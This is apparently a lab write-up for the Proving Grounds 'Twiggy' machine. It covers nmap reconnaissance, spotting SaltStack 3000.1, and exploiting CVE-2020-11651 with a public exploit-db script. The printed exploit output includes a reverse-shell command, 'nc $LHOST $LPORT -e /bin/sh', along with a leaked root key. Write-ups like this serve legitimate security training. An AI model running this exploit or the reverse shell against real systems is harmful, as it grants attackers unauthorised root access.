Twiggy Writeup - Proving Grounds
Last updated May 10, 2026 • 3 min read
Reconnaissance
To get started we start a full NMAP scan on the target like:
[+] Discovering all open TCP ports... Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 14:12 +0100 Nmap scan report for $TARGET_IP Host is up (0.022s latency). Not shown: 65529 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 4505/tcp open unknown 4506/tcp open unknown 8000/tcp open http-alt Nmap done: 1 IP address (1 host up) scanned in 86.29 seconds [+] Parsing open TCP ports... [+] Running scripts & versions on TCP ports: 22,53,80,4505,4506,8000 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 14:13 +0100 Nmap scan report for $TARGET_IP Host is up (0.021s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA) | 256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA) |_ 256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519) 53/tcp open domain NLnet Labs NSD 80/tcp open http nginx 1.16.1 |_http-title: Home | Mezzanine |_http-server-header: nginx/1.16.1 4505/tcp open zmtp ZeroMQ ZMTP 2.0 4506/tcp open zmtp ZeroMQ ZMTP 2.0 8000/tcp open http nginx 1.16.1 |_http-server-header: nginx/1.16.1 |_http-title: Site doesn't have a title (application/json). |_http-open-proxy: Proxy might be redirecting requests Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.79 secon
This reveals us interesting ports like port 8000 which runs a HTTP webserver. We check the webserver its response headers like:
HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 09 Feb 2026 13:20:16 GMT Content-Type: application/json Content-Length: 146 Connection: keep-alive Access-Control-Expose-Headers: GET, POST Vary: Accept-Encoding Allow: GET, HEAD, POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * X-Upstream: salt-api/3000-1
Vulnerability Assessment
The value salt-api is interesting since this is for the Saltstack application. A quick Google search reveals that Saltstack 3000.1 is vulnerable with vulnerability: CVE-2020-11651, allowing remote code execution on the target.
Exploitation
We use the exploit script from https://www.exploit-db.com/exploits/48421 to exploit this target like:
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort. [+] Salt version: 3000.1 [ ] This version of salt is vulnerable! Check results below [+] Checking salt-master ($TARGET_IP:$TARGET_PORT) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... [*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA= [+] Attemping to execute nc $LHOST $LPORT -e /bin/sh on $TARGET_IP [+] Successfully scheduled job: 20200504153851746472
With this reverse shell connection we can view /root/proof.txt